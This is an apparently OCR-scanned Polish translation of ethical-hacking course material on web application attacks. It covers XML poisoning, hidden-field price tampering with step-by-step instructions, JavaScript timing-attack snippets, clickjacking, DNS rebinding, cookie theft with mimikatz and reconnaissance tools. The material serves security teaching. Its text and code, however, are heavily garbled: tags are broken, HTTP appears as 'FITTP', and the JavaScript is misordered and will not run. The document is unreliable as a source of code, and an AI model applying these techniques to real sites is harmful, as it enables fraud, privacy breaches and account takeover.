<?xml version="1.0" encoding="UTF-8M ?>

<Envelop xmlns="http://scemas.xmlsoap.org/soap/envelope/">
<Body>

<find_service generic="2.0" xmlIns="urn:uddi- org:api_v2"><name>amazon</name></find_service>
</Body>

</Envelop>

Odpowiedz XML

HTTP/1.1 200 OK

Date: Wed, 20 Apr 2022 11:05:34 GMT

Server: Microsoft-11S/7.5

X-Powered-By: ASP.NET

X-AspNet-Verstion: 1.1.4322

Cache-Control: private, max-age=0

Content-Type: text/xml; charset=utf-8

Content-Length: 1272

<?xml version="1.0" encoding="utf-8M ?><soap:Envelope
xmlns:soap="http://scemas.xmlsoap.org/soap/envelope/">
xImns:xsi=Mhttp://www.w3.0rg/2008/XMLSchemainstance"
xmlins:xsd="http://w3.0rg/2008/xmlSchema"><soap:Body><serviceList
generic="2.0"

operator="Microsoft Corporation" truncated="false" xmlns="urn:uddi-
org:api_v2"><servicelnfos><servicelnfo

serviceKey=6ad412cl-2b7c-5abc-c5aa-5cc6ab9dc843" businessKey="9112358ad-cl2d- 1234-
d4cdc8e34e8a0aab"

><name xml:lang="en-us">Amazon Research
Pane</nameX/servicelnfo><Servicelnfo
serviceKey="25638942-2d33-52f3-5896-cl2ca5632abc" businessKey="adc5c23-abcd-
8f52-cd5f-

1253adcefc2a"Xname xml:lang="en-us">Amazon Web Services



2.0</name></servicelnfo><servicelnfo
serviceKey="ad8a5c78-dc8f-4562-d45c-aad45d4562ad"businesskey="28d4acd8-d45c-
456a-4562-

acde4567d0f5"<name xml:kang="en">Amazon.com Web
Services</name></servicelnfoXservicelnfo
serviceKey="ad52a456-4d5f-7d5c-8def-c5e6d456cd45"businessKey="45235896-256a-
123a-c456-

add55a456f12"><name
xml:lang="en">AmazonBookPrice</nameX/servicelnfo><servicelnfo
serviceKey=9acc45ad-45cc-4d5¢-1234-888cd4562893" businessKey="aa45238d-cd55-
4d22-8d5d-a55a4c43ad5cMXname

xml:lang="en">AmazonBookPrice</name></servicelnfoX/servicelnfos></servicelist></soap:Body></
soap:

Envelope>
Zatruwanie ustugi sieciowej XML

Zatruwanie XML jest podobne do ataku typu SQL injection. Ma wyzszy wskaznik sukcesu w ramach
ustug internetowych. Atakujgcy wstawiajg ztosliwy kod XML do zgdan SOAP w celu manipulowania
weztami XML lub zatruwania schematu XML w celu generowania btedéw w logice analizowania XML i
przerywania logiki wykonywania. Atakujgcy mogg manipulowaé¢ odwotaniami do zewnetrznych
jednostek XML, co moze prowadzi¢ do otwierania dowolnych plikdw lub potaczen TCP, ktére mozna
wykorzystaé do innych atakéw na ustugi sieciowe. Zatruwanie XML umozliwia atakujgcym
przeprowadzenie ataku DoS i naruszenie poufnych informacji. Poniewaz ustugi sieciowe s3
wywotywane przy uzyciu dokumentéw XML, osoby atakujgce zatruwajg ruch miedzy serwerem a
aplikacjami przegladarki, tworzac ztosliwe dokumenty XML w celu zmiany mechanizmdw analizowania,
takich jak SAX i DOM, ktérych aplikacje sieciowe uzywajg na serwerze.

Zadanie XMLa

<CustomerRecord>
<CustomerNumber>2010</CustomerNuinber>
<FirstName>Jason</FirstName>
<LastName>Springfield</LastName>
<Address>Apt 20, 3rd Street</Address>
<Email>jason@springfield.com</Email>
<PhoneNumber>6325896325</PhoneNuinber>
</CustomerRecord>

Zatrute zgdanie XML



<CustomerRecord>
<CustomerNuinber>2010</CustomerNumber>
<FirstName>Jason</FirstNameXCustomerNumber>
2010</CustomerNumber>
<FirstName>Jason</FirstName>
<LastName>Springfield</LastName>
<Address>Apt 20, 3rd Street</Address>
<Email>jason@springfield.com</Email>
<PhoneNumber>6325896325</PhoneNumber>
</CustomerRecord>

Ukryty Atak Manipulacji Pola

Atakujacy przeprowadzajg ataki polegajagce na manipulacji ukrytymi polami na witryny handlu
elektronicznego, poniewaz wiekszos¢ tych witryn ma ukryte pola w specyfikacjach cen i rabatéw. W
kazdej sesji klienta programisci uzywajg ukrytych pél do przechowywania informacji o kliencie, w tym
cen produktow i stawek rabatowych. Podczas opracowywania takich programoéw programisci uwazaja,
ze wszystkie ich aplikacje sg bezpieczne; jednak hakerzy moga manipulowaé¢ cenami produktéw, a
nawet przeprowadza¢ transakcje ze zmienionymi cenami. Gdy uzytkownik dokonuje wyboréw na
stronie HTML, wybér jest zazwyczaj zapisywany jako wartosci pdl formularza i wysytany do aplikacji
jako zadanie HTTP (GET lub POST). HTML moze réwniez przechowywaé wartosci pél jako pola ukryte,
ktére nie sg renderowane na ekranie przez przegladarke, ale gromadzone i przesytane jako parametry
podczas przesytania formularzy. Atakujgcy mogg sprawdzi¢ kod HTML strony i zmieni¢ wartosci
ukrytych pél, aby zmieni¢ zagdania wysytania wiadomosci do serwera.

Przyktad

Konkretny telefon komdrkowy moze byé oferowany za 1000 USD w witrynie handlu elektronicznego,
ale haker, zmieniajgc czes¢ ukrytego tekstu w polu ceny, kupuje go za jedyne 10 USD. Takie ataki
skutkuja powazinymi stratami dla wtascicieli witryn internetowych, nawet jesli uzywajg oni
najnowszego oprogramowania antywirusowego, zapor ogniowych, IDS itd. w celu ochrony swoich sieci
przed atakami. Oprdcz strat finansowych, wiasciciele mogg rowniez straci¢ swojg wiarygodnosc
rynkowa. Przykfad takiego kodu podano ponizej:

<form method="post" action="page.aspx">

<input type="hidden" name="PRICE" value="200.00">

Product name: <input type="text" name="product"
value="Certifiedhacker Shirt"><br>Product price: 200.00"><br>
<input type="submit" value="submit">

</form>



1. Otwoérz strone html w edytorze HTML.

2. Znajdz ukryte pole (np. ,,<type=hidden name=price value=200.00>").

3. Zmodyfikuj jego zawartos¢ na inng warto$¢ (np. "<type=hidden name=price value=2.00>").

4. Zapisz lokalnie plik html i przejrzyj go.

5. Kliknij przycisk Kup, aby dokonac elektronicznej kradziezy sklepowej za pomocg ukrytej manipulacji.
Internetowe ataki czasowe

Web-based timing attack to rodzaj ataku side-channel przeprowadzanego przez osoby atakujace w
celu pobrania poufnych informacji, takich jak hasta z aplikacji internetowych, poprzez pomiar czasu
odpowiedzi serwera. Ataki te wykorzystujg wyciek z kanatu bocznego i szacujg czas potrzebny na tajne
operacje na kluczach. Rézne typy atakdw opartych na synchronizacji w sieci obejmujg bezposrednie
ataki na synchronizacje, ataki na synchronizacje miedzy witrynami i ataki na synchronizacje oparte na
przegladarce.

Bezposredni atak czasowy

Bezposrednie ataki na czas sg przeprowadzane poprzez pomiar przyblizonego czasu potrzebnego
serwerowi na przetworzenie zgdania POST, na podstawie ktérego osoby atakujagce moga
wywhnioskowad istnienie nazwy uzytkownika. Podobnie osoby atakujgce przeprowadzajg badanie hasta
znak po znaku i wykorzystujg informacje o czasie, aby okresli¢ pozycje, w ktdrej pordwnanie hasta nie
powiodto sie. Nastepnie osoby atakujgce wykorzystujg te dane do ustalenia hasta uzytkownika
docelowego.

Atak czasowy miedzy witrynami

Atak typu cross-site timing to inny rodzaj ataku typu timing, w ktérym osoby atakujace wysytajg
spreparowane pakiety zadan do witryny internetowej za pomocga JavaScript, w przeciwienstwie do
bezposredniego ataku typu timing, w ktérym osoba atakujgca sama przekazuje zgdanie stronie
internetowej. Atakujgcy nastepnie analizuje czas potrzebny uzytkownikowi na pobranie zgdanego
pliku. Wezmy na przyktad witryne internetowa http://xyz.com, ktéra zawiera dwie osobne grupy, takie
jak /the-prompt/ i /the-anonymous-place/, i tylko cztonkowie grupy majg dostep do danych
wprowadzanych do tych grup. Jesli jakakolwiek inna osoba sprébuje uzyskac dostep do grupy, wystapi
btad gdy wiadomosc jest generowana. Teraz, gdy uzytkownik uzyskuje dostep do nieznanej witryny
zawierajgcej ztosliwego kodu JavaScript wstrzyknietego przez atakujgcego, atakujgcy moze dowiedzie¢
sie, do ktérej grupy nalezy uzytkownik, a tym samym naruszy¢ jego prywatnos$é. Przyktadowy kod
JavaScript uzyty do przeprowadzenia tego ataku:

function getMeasurement(url, callback) {
var a = new Image();
a.addEventListener('error', function() {
var conclude = performance.now();
callback(conclude - begin);

1;

var begin = performance.now();



a.src=url;

}

getMeasurement('http://xyz.com/the-prompt/’,
function(timeTF) {
getMeasurement('http://xyz.com/the-anonymous-place’,
function(timeTDS) {

If (timeTF> timeTDS) {

alert('The prompt is alright!');

}

else {

alert('Privacy breach!');

Ataki czasowe oparte na przegladarce

Ataki oparte na synchronizacji w przegladarce to wyrafinowane ataki typu side-channel. Zamiast
polegaé¢ na niestabilnym czasie pobierania, osoby atakujgce wykorzystujg wycieki z kanatu bocznego
przegladarki, aby oszacowac czas potrzebny przegladarce na przetworzenie zgdanych zasobdw. W
takim przypadku szacowanie czasu rozpoczyna sie natychmiast po pobraniu zasobu i konczy sie po
zakonfczeniu przetwarzania. Atakujagcy moga naduzywac rdézinych funkcji przegladarki, aby
przeprowadzac dalsze ataki, takie jak atak z analizg wideo i atak na synchronizacje pamieci podrecznej.

o Atak polegajacy na analizowaniu wideo
Przyktadowy kod JavaScript uzyty do przeprowadzenia tego ataku:
function getMeasurement(url, callback) {
var p = document.createElement('video');
var begin;

p.addEventListener('suspend’, function() {
begin = performance.now();

1;

p.addEventListener('error

var conclude = performance.now();
callback(conclude - begin);

function() {



1;
p.src = url;
}

W przeciwienstwie do atakdw typu cross-site timing, czas szacowania rozpoczyna sie w momencie
wyzwolenia zdarzenia ,zawieszenie”. Zdarzenie jest zwykle wyzwalane w momencie zatrzymania
pobierania zasobu, poniewaz zgdany zasdb nie jest zamierzonym filmem; jest to tylko dwu- lub
trzycyfrowy plik KB. Zdarzenie jest rowniez wyzwalane po zakoriczeniu pobierania zasobu. Nastepnie
przegladarka prébuje przeanalizowaé zgdany zasdb jako wideo. Z pewnoscig pliki HTML/JSON/... to
nieprawidtowe formaty wideo; w zwigzku z tym przegladarka zgtosi zdarzenie ,,btagd”. W tym przypadku
atakujacy obserwuje, ile czasu zajmuje przegladarce przetworzenie zasobu i wygenerowanie zdarzenia
btedu. Pojedyncze oszacowanie dla kazdego punktu koncowego moze nie zawsze stuzy¢ temu celowi.
Dlatego osoby atakujgce prébujg zgromadzi¢ kilka szacunkéw czasowych i obliczy¢ mediane lub
$rednig.

o Atak czasowy pamieci podrecznej

Interfejs APl pamieci podrecznej (uzywany do tadowania, pobierania i usuwania wszelkich odpowiedzi)
oferuje programistom petng pamiec podreczng (pamiec). tadowanie zasobow na dysk zajmuje troche
czasu w zaleznosci od rozmiaru zasobu. Jesli osoby atakujgce mogg oszacowaé czas potrzebny
przeglagdarce na wykonanie tego zadania, mogg zmierzy¢ odpowiedni rozmiar odpowiedzi.
Przyktadowy kod JavaScript uzyty do przeprowadzenia tego ataku:

function getMeasurement(url, callback) {
fetch(url,

"include"}).then(function(resp) {
setTimeout(function() {
caches.open('attackerfile').then(function(ca
{mode: "no-cors", credentials:

che){

var begin = performance.now();
cache.put(new
resp.clone()).then(function() {

var conclude = performance.now();
callback (conclude - begin);
request('myfoo'),

};

};

}, 2000);

1



}

Po oszacowaniu lub zmierzeniu czasu przetwarzania za pomocg wyzej wymienionych technik osoby
atakujgce mogg przeprowadzac dalsze ataki, takie jak ataki typu brute-force, w celu uzyskania petnych
informacji.

Atak MarioNetu

MarioNet to atak oparty na przegladarce, ktéry uruchamia ztosliwy kod w przegladarce, a infekcja
utrzymuje sie nawet po zamknieciu lub przegladaniu ztosliwej strony internetowej, przez ktéra infekcja
sie rozprzestrzenita. Wiekszo$¢ najnowszych przegladarek internetowych obstuguje nowy interfejs API
0 nazwie Service Workers, ktéry umozliwia stronie internetowej izolowanie operacji renderujgcych
strone internetowg Ul od intensywnych zadan obliczeniowych, aby unikng¢ zawieszania Ul podczas
przetwarzania duzych ilosci danych. Atakujgcy rejestrujg i aktywujg Service Workers APl za
posrednictwem kontrolowanej przez siebie strony internetowej. Gdy ofiara przeglada te witryne,
interfejs Service Workers APl aktywuje sie automatycznie i moze stale dziata¢ w tle, nawet jesli
uzytkownik nie przeglada aktywnie witryny. Aby utrzymad interfejs Service Workers API przy zyciu,
osoby atakujgce naduzywajg interfejsu Service Workers SyncManager. Dlatego MarioNet moze oprzeé
sie wszelkim awariom kart i awariom zasilania, zwiekszajgc potencjat atakujgcego do zaatakowania
przegladarki. MarioNet wykorzystuje mozliwosci JavaScript i jest zalezny od wczes$niej dostepnych
interfejséw APl HTML5. Moze stuzy¢ do tworzenia botnetu i przeprowadzania innych ztosliwych
atakodw, takich jak cryptojacking, DDoS, oszustwa zwigzane z kliknieciami i rozproszone tamanie haset.
Co wiecej, ten atak umozliwia atakujacym wstrzykiwanie ztosliwego kodu do witryn o duzym natezeniu
ruchu na krétki czas, pobieranie poufnych informacji, takich jak dane uwierzytelniajgce uzytkownika, a
nastepnie kontrolowanie naduzywania przegladarki z centralnego serwera.

Atak typu clickjacking

Atak typu ,clickjacking” jest przeprowadzany, gdy docelowa strona internetowa jest tadowana do
elementu iframe ktéry jest zamaskowany elementem strony internetowej, ktéry wyglada na
uzasadniony. Atakujacy to robi w ataku, nakfaniajac ofiare do klikniecia dowolnego ztosliwego
elementu strony internetowej, ktory jest umieszczony przejrzyscie u géry dowolnej zaufanej strony
internetowej. Clickjacking nie jest pojedynczg techniky; napastnicy wykorzystujg rézne wektory ataku
i techniki zwane atakami typu Ul redress. Oni przeprowadzajg takie ataki, wykorzystujgc luki w
zabezpieczeniach spowodowane przez ramki iframe HTML lub niewtasciwa konfiguracja nagtéwka X-
Frame-Options. Istnieje kilka odmian ataku clickjackingu, takich jak likejacking i mousejacking. Aby
przeprowadzi¢ te ataki, osoby atakujgce wysytajg link do ztosliwej witryny internetowej ofierze za
posrednictwem poczty elektronicznej, mediéw spotecznosciowych lub innych mediéw. W przypadku
przechwytywania kliknie¢ atakujacy taduje docelowg witryne internetowg w ramce iframe o niskiej
przezroczystosci. A pézniej osoba atakujaca projektuje strone w taki sposéb, aby wszystkie klikalne
elementy, takie jak przyciski, byty doktadnie rozmieszczone jak na wybranej stronie docelowej. Teraz
ofiara jest naktaniana do klikniecia niewidzialnego kontroli lub oszukarncze elementy Ul, ktére
automatycznie uruchamiajg rdéine ztosliwe dziatania, takie jak wstrzykiwanie ztosliwego
oprogramowania, pobieranie ztosliwych stron internetowych, pobieranie poufnych informacji, takich
jak dane karty kredytowej, przelewanie pieniedzy z konta ofiary i kupowanie produktéw przez Internet.

Ponizej wymieniono rézne techniki przechwytywania kliknie¢ stosowane przez osoby atakujgce:

Petna przezroczysta naktadka: w tej technice przezroczysta, legalna strona lub strona narzedzia jest
naktadana na wczesniej zaprojektowang ztosliwg strone. Nastepnie jest tadowany do niewidocznej
ramki iframe, a wyzsza wartosc¢ indeksu Z jest przypisywana do pozycjonowania go na gorze.



Przycinanie: W tej technice naktadane sg tylko wybrane kontrolki z przezroczystej strony. Technika ta
zalezy od celu ataku i moze obejmowaé maskowanie przyciskéw z hipertgczami i etykiet tekstowych z
fatszywymi informacjami, zmienianie etykiet przyciskéw z niewtasciwymi poleceniami oraz catkowite
zakrywanie legalnej strony wprowadzajgcymi w btad informacjami przy jednoczesnym ujawnieniu
tylko jednego oryginalnego przycisku.

Ukryta naktadka: w tej technice osoba atakujgca tworzy ramke iframe sktadajgcy sie z pikseli Ixl,
zawierajgca ztosliwg zawartos$¢, umieszczong potajemnie pod kursorem myszy. Gdy uzytkownik kliknie
ten kursor, zostanie on zarejestrowany na ztosliwej stronie, chociaz szkodliwa zawartosc¢ jest zakryta
przez kursor.

Porzucanie zdarzen klikniecia: ta technika moze catkowicie ukry¢ ztosliwg strone za legalng strona.
Mozna go réwniez uzy¢ do ustawienia wfasciwosci CSS pointer-events top na none. Moze to
spowodowaé, ze zdarzenia kliknie¢ beda ,przeskakiwaé” przez legalng zamaskowang strone i
rejestrowac tylko ztosliwg strone.

Szybka wymiana tresci: w tej technice ukierunkowane kontrolki sg zakryte nieprzezroczystymi
naktadkami, ktdre sg usuwane tylko na chwile w celu zarejestrowania klikniecia. Osoba atakujgca
korzystajgca z tej techniki musi doktadnie przewidzieé¢ czas potrzebny ofierze na klikniecie strony
internetowe;j.

Atak ponownego wigzania DNS

Atakujacy uzywajg techniki ponownego wigzania DNS, aby omingé ograniczenia bezpieczenstwa zasady
tego samego zrddta, umozliwiajgc ztosliwej stronie internetowej komunikowanie sie z domenami
lokalnymi lub wysytanie do nich dowolnych zadan. Na przyktad, jesli klient pracuje dla organizacji,
najczesciej korzysta z sieci wewnetrznej lub prywatnej. Ze wzgledu na zasady tego samego
pochodzenia (SOP) nie mozna uzyska¢ dostepu do zadnych zasobéw zewnetrznych w tej sieci
prywatnej. Flence, atakujgcy nie mogg bezposrednio komunikowac sie z siecig lokalng ze wzgledu na
ograniczenia w SOP. Dlatego uzywajg techniki ponownego wigzania DNS w celu obejscia tej
implementacji zabezpieczen SOP.

Jak dziata ponowne wigzanie DNS

Atakujacy tworzy ztosliwg strone internetowa z nazwg domeny Certifiedhacker.com i rejestruje jg na
kontrolowanym przez siebie serwerze DNS. Teraz atakujgcy konfiguruje serwer DNS do wysytania
odpowiedzi DNS z bardzo krétkimi wartosciami TTL, aby unikngé buforowania odpowiedzi. Nastepnie
atakujgcy rozpoczyna zamierzong operacje z serwerem HTTP, ktéry zawiera ztosliwg strone
internetowa http://certifiedhacker.com. Kiedy ofiara otwiera ztosliwg strone internetows, serwer DNS
atakujgcego wysyta adres IP serwera HTTP, na ktérym znajduje sie kontrolowana przez atakujacego
strona internetowa http://certifiedhacker.com. Serwer sieciowy odpowiada strong, ktéra uruchamia
kod JavaScript w przegladarce ofiary. Nastepnie kod JavaScript uzyskuje dostep do strony internetowej
w domenie http://certifiedhacker.com, aby uzyskac dodatkowe zasoby z
http://certifiedhacker.com/secret.htmi. Kiedy przegladarka uruchamia JavaScript, wysyta zgdanie DNS
dla domeny (ze wzgledu na krotka konfiguracje TTL), ale kontrolowany przez atakujgcego serwer DNS
odpowiada nowym adresem IP. Na przyktad, jesli kontrolowany przez atakujgcego serwer DNS
odpowie prywatnym lub wewnetrznym adresem IP ofxyz.com, przegladarka ofiary pomyslnie wczyta
adres http://xyz.com/secret.html, a nie http://certifiedhacker.com/secret.html, omijajgc SPO.

Atak na te sama strone



Ataki na te samga witryne, znane rowniez jako ataki na domeny pokrewne, majg miejsce, gdy osoba
atakujaca atakuje subdomene zaufanej organizacji i probuje przekierowaé uzytkownikéw do strony
internetowej kontrolowanej przez osobe atakujacg. Subdomeny, ktdre sg btednie skonfigurowane lub
pozostawione przez lata bez uzycia, sg czesto celem atakujacych w celu przeprowadzenia tego ataku.
Ogdlnie rzecz biorac, najbardziej znane domeny, takie jak .edu, .com i .org, zawierajg kilka granic, ktére
ufatwiajg atakujagcym przechwycenie nieuzywanych Ilub Zle skonfigurowanych subdomen
wspotdzielgcych legalne domeny najwyzszego poziomu (TLD). Te domeny TLD pomagajg atakujacym w
przejmowaniu legalnych witryn internetowych w celu tworzenia wiszacych rekordéw przy uzyciu
rozszerzonych domen TLD (eTLD). Takie strony internetowe dzielace te samg domene eTLD+1
nazywane sg tymi samymi witrynami, ktére moga by¢ celem atakujacych z tej samej witryny. Ataki te
opierajg sie na zatozeniu, ze identyfikacja wrogéw zewnetrznych jest tatwiejsza niz zdrada wrogéw
wewnetrznych. Ofiary tych atakdéw s3g przekierowywane na kontrolowang przez atakujgcego strone
internetowa, ktéra wyglada na bezpieczng, legalng strone internetowg. Wrazliwe subdomeny moga
zostaé naruszone poprzez ataki phishingowe, wstrzykiwanie ztosliwego oprogramowania, zatruwanie
plikdw cookie, naduzywanie interfejséw API JavaScript itp. Uzytkownicy korzystajgcy z funkcji
dynamicznego DNS s3 szczegdlnie narazeni na te ataki. Atakujacy z tej samej witryny mogg rowniez
uzyskiwacé pliki cookie, poniewaz podobne witryny korzystajgce z domeny eTLD+1 wspdtdzielg pliki
cookie.

Scenariusz ataku na te sama strone

w przypadku ataku na te samg witryne atakujacy przekierowuje uzytkownika prébujgcego przegladaé
www.certifiedhacker.com do kontrolowanej przez atakujgcego wiszgcej witryny
rans.certifiedhacker.com. Ztosliwy odsytacz ma wspdlng nazwe domeny, co sprawia, ze uzytkownik jest
przekonany, ze przekierowana strona jest bezpieczna lub legalna. Nastepnie atakujgcy moze
przeprowadzaé ataki polegajace na wtamaniu do polityki bezpieczeristwa, podstuchiwaniu danych
uwierzytelniajgcych, phishingu i wstrzykiwaniu ztosliwego oprogramowania, przejmujgc subdomeny.

Atak typu pass-the-cookie

Ataki typu pass-the-cookie umozliwiajg atakujgcym dostep do ustug internetowych uzytkownika bez
podawania jakiejkolwiek tozsamosci lub przeprowadzania uwierzytelniania wielosktadnikowego. Atak
pass-the-cookie ma miejsce, gdy osoby atakujgce uzyskujg klon pliku cookie z przegladarki uzytkownika
i uzywaja tego pliku cookie do ustanowienia sesji z docelowym serwerem internetowym. Jesli atakujacy
moga pobra¢ odpowiednie pliki cookie, mogg zalogowac sie jako waziny podmiot do wczesniej
dostepnych ustug sieciowych, omijajgc wszystkie punkty kontrolne uwierzytelniania. Atakujacy moga
réwniez uzy¢ specjalnie opracowanego programu lub ataku typu phishing, aby uzyskac te pliki cookie.
Na przyktad Mozilla Firefox zapisuje wszystkie pliki cookie w lokalnej bazie danych SQLite, ktdre osoby
atakujgce moga uzyskac za pomocg narzedzi takich jak firefox_creds. Jesli przechwycony plik cookie
jest sesyjnym plikiem cookie, osoba atakujgca moze uzy¢ ztosliwego oprogramowania do
zaimplementowania witasnej sesji podczas przegladania aplikacji internetowej. Atakujgcy mogg
réwniez uzy¢ mimikatz do wyodrebnienia zaszyfrowanych plikéw cookie.

Metodologia hakowania aplikacji internetowych

W poprzedniej sekcji omdéwiono stan bezpieczenstwa aplikacji internetowych, analizujac rézne typy
zagrozen/atakow, ktére sg obecnie w uzyciu. Atakujgcy wykonujg te ataki przy uzyciu szczegdétowego
procesu zwanego metodologia hakerskg. W tej sekcji opisano etapy metodologii hakowania,
wyjasniajac, w jaki sposéb osoby atakujgce atakujg aplikacje internetowe.



Atakujacy wykorzystujg metodologie hakowania aplikacji internetowych, aby zdoby¢ wiedze na temat
konkretnej aplikacji internetowej i skutecznie jg ztamac. Ta metodologia pozwala im szczegétowo
zaplanowac kazdy krok, aby zwiekszy¢ swoje szanse na pomysine zhakowanie aplikacji. Zgodnie z tg
metodologig wykonujg nastepujace czynnosci, aby zebraé szczegétowe informacje o réznych zasobach
potrzebnych do uruchomienia aplikacji internetowej lub uzyskania do niej dostepu:

Infrastruktura sieciowa Footprint
Analizuj aplikacje internetowe

Pomin kontrole po stronie klienta
Mechanizmy uwierzytelniania atakow
Schematy autoryzacji atakow

Kontrola dostepu do atakéw
Mechanizmy zarzgdzania sesjg atakow
Wykonuj ataki iniekcyjne

Atakuj btedy w logice aplikacji

Atakuj wspdlne srodowiska

Atak na tgcznosc z bazg danych

Atakuj klientow aplikacji internetowych
Atakuj ustugi sieciowe

Jesli hakerzy nie skorzystajg z tego procesu i sprébujg bezposrednio wykorzystac aplikacje internetows,
ich szanse na niepowodzenie wzrosng. W kolejnych fazach tego modutu zostanie szczegétowo
wyjasnione, w jaki sposdb osoby atakujgce uzyskujg informacje o tych zasobach.

Infrastruktura internetowa sladu

Footprinting to proces gromadzenia petnych informacji o systemie i wszystkich powigzanych z nim
komponentach, a takze o tym, jak dziataja. Infrastruktura internetowa aplikacji internetowe;j to uktad,
za pomoca ktérego taczy sie ona z innymi systemami, serwerami itd. w sieci. Sledzenie infrastruktury
sieciowej to pierwszy krok w hakowaniu aplikacji internetowych; pomaga atakujagcym wybierac ofiary
i identyfikowaé podatne aplikacje internetowe. Atakujacy sledzg infrastrukture sieciowg, aby wiedzie¢,
w jaki sposdb aplikacja internetowa taczy sie ze swoimi réwiesnikami i uzywanymi przez nig
technologiami oraz aby znalez¢ luki w okreslonych czes$ciach architektury aplikacji internetowej. Luki
te mogg poméc atakujagcym w wykorzystaniu i uzyskaniu nieautoryzowanego dostepu do aplikacji
internetowej. Wykorzystanie infrastruktury sieciowej umozliwia atakujgcemu wykonanie
nastepujacych zadan:

Wykrywanie serwerdw: Atakujacy prdobujg wykryé fizyczne serwery, na ktérych znajdujg sie aplikacje
internetowe, uzywajgc takich technik, jak wyszukiwanie Whois, zapytania DNS, skanowanie portéw i
tak dalej.

Wykrywanie ustug: Atakujacy moga wykryé ustugi dziatajgce na serwerach WWW, aby okresli¢, czy
moga uzy¢ niektdrych z nich jako $ciezek ataku w celu wtamania sie do aplikacji internetowej. Ta
procedura zapewnia rowniez informacje o aplikacji sieci Web, takie jak lokalizacja magazynu,



informacje o komputerach z uruchomionymi ustugami oraz o wykorzystaniu sieci i protokotach.
Atakujgcy mogg uzywac narzedzi takich jak Nmap, NetScanTools Pro i innych, aby znalez¢ ustugi
dziatajgce na otwartych portach i wykorzystac je.

Identyfikacja serwera: Atakujgcy wykorzystujg przechwytywanie baneréw w celu uzyskania banerow
serwera, ktére pomagajg zidentyfikowa¢ marke i wersje oprogramowania serwera WWW. Inne
informacje, ktore zapewnia ta technika, obejmuja:

o Tozsamos¢ lokalna: informacje takie jak lokalizacja serwera i Origin-Flost.

o Adresy lokalne: lokalne adresy IP uzywane przez serwer do wysytania komunikatéw Diameter
Capability Exchange (wiadomosci CER/CEA), w tym tozsamos¢ serwera, mozliwosci i inne informacije,
takie jak numer wersji protokotu i obstugiwane aplikacje Diameter.

o Self-Names: to pole okresla wszystkie obszary, ktére serwer uwaza za lokalne i traktuje wszystkie
wysytane do nich zgdania jako zadania braku obszaru.

o Wykrywanie ukrytych tresci: Footprinting umozliwia réwniez atakujgcym wyodrebnienie tresci i
funkcji, ktére nie sg bezposrednio potaczone lub dostepne z gtéwnej widocznej zawartosci.

o Wykrywanie systemdéw rownowazenia obcigzenia: Atakujagcy moga wykrywac systemy
rownowazenia obcigzenia docelowej organizacji wraz z ich prawdziwymi adresami IP w celu
identyfikacji serwerdw ujawnionych w Internecie.

Wykrywanie serwera

Aby zaja¢ sie infrastrukturg sieciowg, nalezy najpierw wykry¢ aktywne serwery internetowe. Trzy
techniki, a mianowicie wyszukiwanie Whois, zapytanie DNS i skanowanie portéw, pomagajg w odkryciu
aktywnych serwerdw i powigzanych z nimi informacji.

Wyszukiwanie Whois

Narzedzia wyszukiwania Whois umozliwiajg zbieranie informacji o domenie za pomocg zapytan DNS i
Whois. Dostarczajg informacji o adresie IP serwera WWW i nazwach DNS. Narzedzia te generujg wyniki
w postaci raportu FITML. Uzyj nastepujacych narzedzi do wyszukiwania Whois:

o Netcraft (https://www.netcraft.com)

o0 WFIOIS Lookup (https://whois.domaintools.com)
o SmartWhois (https://www.tamos.com)

o Batch IP Converter (http://www.sabsoft.com)
Zapytanie DNS

Organizacje uzywajg zapytania DNS, ktdre jest rozproszong bazg danych, aby potaczy¢ swoje adresy IP
z odpowiednimi nazwami hostéw i odwrotnie. Kiedy DNS jest nieprawidtowo podtgczony, bardzo tatwo
jest go wykorzystad i zebrac informacje potrzebne do przeprowadzenia ataku na organizacje docelowa.
Dostarcza informacji o lokalizacji i typie serwerdw. Uzyj nastepujacych narzedzi, aby wykonac
zapytanie DNS:

o DNS Records ( https://network-tools.com)

o DNSRecon (https://github.com)



o Domain Dossier ( https://centralops.net )
o DNSdumpster.com (https://dnsdumpster.com)
Skanowanie portéw

Skanowanie portow to proces skanowania portow systemowych w celu rozpoznania otwartych
portéw. Probuje potaczy¢ sie z okreslonym zestawem portéw TCP lub UDP, aby znalei¢ ustuge
istniejgcg na serwerze. Jesli atakujacy rozpoznajg nieuzywany otwarty port, mogg go wykorzysta¢ do
wtargniecia do systemu. Uzyj nastepujgcych narzedzi do skanowania portow:

o Nmap (https://nmap.org)

o NetScanTools Pro (https://www.netscantools.com)

o Advanced Port Scanner (https://www.advanced-port-scanner.com)
o Hping (http://www.hping.org)

Uwaga: Aby uzyskac¢ petne informacje na temat wyszukiwania Whois, zapytan DNS i skanowania
portéw, zobacz

Wykrywanie ustug

Footprinting infrastruktury sieciowej dostarcza danych o oferowanych ustugach, takich jak wymiana i
szyfrowanie danych, $ciezka transmisji i wdrozone protokoty. Przeskanuj docelowy serwer WWW, aby
zidentyfikowac wspdlne porty uzywane przez rézne ustugi. Po znalezieniu tych ustug osoby atakujace
moga je skompromitowaé, aby wykorzystaé infrastrukture internetowg, na ktdrej dziata aplikacja.
Zidentyfikowane ustugi dziatajg jako $ciezki atakow hakerskich do aplikacji internetowych. Ponizsza
tabela zawiera liste typowych portéw uzywanych przez serwery WWW i ich odpowiednie ustugi FITTP:

Port: Typowe ustugi FITTP

80 Standardowy port World Wide Web

81 Alternatywny WWW

88 Kerberos

384 Zdalny serwer sieciowy

443 SSL (HTTPS)

514 Zdalna powtoka

625 Otwarty serwer proxy (ODProxy)

657 IBM RMC (Remote Monitoring and Control) Protokét
706 Bezpieczne internetowe konferencje na zywo (SILC)
832 NETCONF dla SOAP przez HTTPS

833 NETCONF dla SOAP przez BEEP

900 Klient administracyjny IBM WebSphere

981 Zdalne zarzadzanie HTTPS dla urzadzen firewall z wbudowanym oprogramowaniem Check Point
VPN-1



987 Microsoft Remote Web Workplace, funkcja systemu Windows Small Business Server
Serwer MSSQL 1433

Monitor MSSQL 1434

1527 Ustugi sieciowe Oracle

2301 Compaq Insight Manager

2381 Compaq Insight Manager przez SSL

Serwer bazy danych 2638 SQL Anywhere

4242 Microsoft Application Center Zdalne zarzadzanie

7001 BEA Weblogic

7002 BEA WebLogic przez SSL

7070 Sun Java Web Server przez SSL

8000 Alternatywny serwer WWW lub pamieé podreczna WWW
8001 Alternatywny serwer WWW lub zarzgdzanie

8005 Apache Tomcat

9090 Modut administratora Sun Java Web Server

10000 Interfejs administratora Netscape

Narzedzia uzywane do wykrywania ustug

Nmap

Nmap to wieloplatformowa, wielozadaniowa aplikacja stuzgca do Sledzenia portéw, ustug, systeméw
